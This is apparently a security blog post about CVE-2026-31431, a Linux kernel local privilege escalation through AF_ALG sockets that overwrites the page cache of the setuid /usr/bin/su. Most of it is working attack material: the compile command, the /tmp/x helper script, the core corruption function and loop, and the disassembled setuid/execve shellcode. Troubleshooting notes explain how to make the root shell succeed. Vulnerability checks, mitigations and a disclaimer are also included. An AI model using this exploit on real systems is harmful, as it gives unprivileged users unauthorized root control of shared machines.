2026-04-29 — I am publishing this exploit to quickly test the vulnerability. It does not require Python; it is written in C and compiled to the smallest possible size using:
musl-gcc -static -Os -o exploit exploit.c -s
Critical threat. The exploit binary is compiled without dependencies and can be used to test for vulnerabilities on any Linux system

CVE-2026-31431 is a NIST-confirmed vulnerability in the Linux kernel that allows an unprivileged local user to obtain a root shell in seconds. In light of the publicly circulating exploit for CVE-2026-31431, I have developed a binary proof-of-concept (PoC) to evaluate the exposure of our internal infrastructure. While some environments restrict the use of su, this vulnerability is particularly critical for shared servers because it targets the underlying kernel memory management. Consequently, any SETUID binary—including sudo, passwd, mount, or newgrp—can be leveraged to trigger the exploit and grant a root shell. Administrative action to patch the kernel is required immediately, as standard user-space restrictions are insufficient to mitigate this threat. Any Linux system running an unpatched kernel is at risk.

CVE-2026-31431 — Local Privilege Escalation via AF_ALG

📚 Table of Contents

• What is this vulnerability
• Who is affected
• How the exploit works — step by step
• Attack flow
• Exploit code analysis
• ELF payload — technical details
• How to check if you are vulnerable
• Mitigations
• Researcher notes
• Disclaimer

What is this vulnerability

CVE-2026-31431 is a bug in the handling of scatter-gather I/O operations and page cache references in the Linux kernel cryptographic subsystem — specifically in the AF_ALG socket implementation for AEAD algorithms (crypto/af_alg.c, crypto/aead.c).

What actually happens

The Linux kernel exposes a cryptographic interface to user space through AF_ALG sockets. The vulnerability lies in the fact that during an AEAD decryption operation, the kernel incorrectly maps the decryption output directly onto the page cache pages of the source file — instead of a temporary buffer. An attacker can thereby overwrite the in-memory content of any file without modifying it on disk, without root privileges, and without leaving any visible trace in the filesystem.

Who is affected

How the exploit works — step by step

The exploit consists of two components: a helper script at /tmp/x and a corruption loop based on AF_ALG. The following is an exact walkthrough based on source code analysis:

1. Helper script setup

The exploit creates /tmp/x with the following content:

#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

It sets permissions to 0755. The reason: /usr/bin/su strips environment variables (including TERM) on launch. The helper script restores them before spawning the real shell, ensuring a functional terminal.

2. ELF payload construction

A minimal 158-byte x86_64 ELF binary containing raw shellcode is built in memory. The string /bin/sh at offset 150 is then patched to /tmp/x\0 via memcmp/memcpy. See ELF Payload for details.

3. Opening /usr/bin/su read-only

int su_fd = open("/usr/bin/su", O_RDONLY);

The file is opened read-only — the exploit requires no write permissions whatsoever.

4. Corruption loop — 39 iterations of 4 bytes each

The payload (158 bytes) is processed in 4-byte chunks (39 complete chunks). Each chunk is passed through corrupt_binary_chunk(), which performs:

• Creates an AF_ALG socket (SOCK_SEQPACKET)
• Binds to authencesn(hmac(sha256),cbc(aes)) — a compound AEAD algorithm
• Sets a 72-byte key and an authentication tag size of 4 bytes
• Accepts an operation socket (op_sock)
• Sends sendmsg with an 8-byte buffer (4× 'A' + 4 payload bytes) and three CMSGs: ALG_OP_DECRYPT, IV (20 bytes), assoclen=8
• Performs splice: su_fd → pipe → op_sock (zero-copy through the kernel)
• Finalises via recv() — this is where the kernel erroneously overwrites the page cache

5. Execution

execve("/usr/bin/su", args, NULL);

The kernel loads /usr/bin/su through the page cache — which is now poisoned. The SUID bit (chmod u+s) is intact, so the kernel executes the file as root. The shellcode runs setuid(0) → execve("/tmp/x") → interactive root shell.

Attack flow

Exploit code analysis

Key sections of exploit.c reviewed below:

corrupt_binary_chunk() function

The heart of the exploit. Each call coordinates one complete AF_ALG transaction:

static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // Creates AF_ALG socket and binds to AEAD authencesn(hmac(sha256),cbc(aes))
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // 72-byte key + authentication tag size = 4 bytes
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // Buffer: 4x 'A' as associated data + 4 payload bytes
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3 CMSGs: DECRYPT operation / IV (20B, first byte 0x10) / assoclen=8
    // sendmsg with MSG_MORE — data not yet complete
    sendmsg(op_sock, &msg, MSG_MORE);

    // zero-copy splice: su_fd → pipe → op_sock (offset+4 bytes)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv finalises the operation — kernel incorrectly writes to page cache of su_fd here
    recv(op_sock, dummy, 8 + offset, 0);
}

Main loop

for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // skips last 2 bytes (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 complete chunks × 4 bytes = 156 bytes applied

ELF payload — technical details

The payload is a self-contained 158-byte x86_64 ELF binary with raw shellcode — no dynamic linker, no external libraries.

Shellcode — disassembled

; offset 120 — entry point 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (offset 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; offset 150
db "/tmp/x", 0, 0      ; (patched from "/bin/sh\0")

How to check if you are vulnerable

Step 1 — check kernel version

uname -r

Compare the output against the list of vulnerable versions published by NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431

Step 2 — check whether AF_ALG is available

python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')"

If the command returns [Errno 97] Address family not supported — the module is disabled and the risk is significantly lower.

Step 3 — check SUID on /usr/bin/su

ls -la /usr/bin/su

If the s bit is present (e.g. -rwsr-xr-x) — /usr/bin/su has SUID set and is the attack vector.

Mitigations

Temporary workaround (until kernel patch is available)

# Unload AF_ALG module if not needed
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload"

# Alternatively — remove SUID temporarily
sudo chmod u-s /usr/bin/su

Researcher notes

This section is intended for security researchers analysing the vulnerability in an isolated environment.

socket() or bind() fails

Symptom: perror("socket") or perror("bind") triggers exit.

Causes:

1. The kernel lacks support for AF_ALG or the authencesn algorithm — check: cat /proc/crypto | grep authencesn
2. Load required modules: sudo modprobe hmac sha256 cbc aead authencesn
3. AppArmor/SELinux is blocking AF_ALG socket creation — check logs: dmesg | tail -20

splice() returns EPERM / EINVAL

Symptom: Splice operation rejected by kernel.

Causes:

1. Verify su_fd points to a regular file, not a symlink or device
2. Check dmesg for audit log entries blocking zero-copy into crypto sockets
3. Verify no LSM is intercepting the operation

execve spawns a normal user shell

Symptom: No root prompt; id shows the original UID.

Causes:

1. /usr/bin/su is missing the SUID bit — ls -la /usr/bin/su, the s bit must be visible
2. Page cache may have been flushed before execve — add sync or reduce loop delay
3. The system has a patch for CVE-2026-31431 — verify the kernel version

/tmp/x not found or TERM missing

Symptom: Shell spawns but terminal rendering is broken.

Causes:

1. Ensure /tmp is writable and not mounted with noexec
2. /tmp/x must have permissions 0755 — verify: ls -la /tmp/x
3. If execve("/tmp/x") fails — the shellcode can be re-patched to use /bin/sh directly

Disclaimer

WARNING: This document is published solely for informational, educational, and defensive purposes. It describes a publicly known threat identified by NIST and reported by the security community. Running the exploit on systems you do not own or lack explicit authorisation to test may violate applicable laws and result in criminal liability. Testing in isolated lab environments only.

All trademarks are the property of their respective owners. Linux and related marks are trademarks of the Linux Foundation.

Last updated: 2026-04-29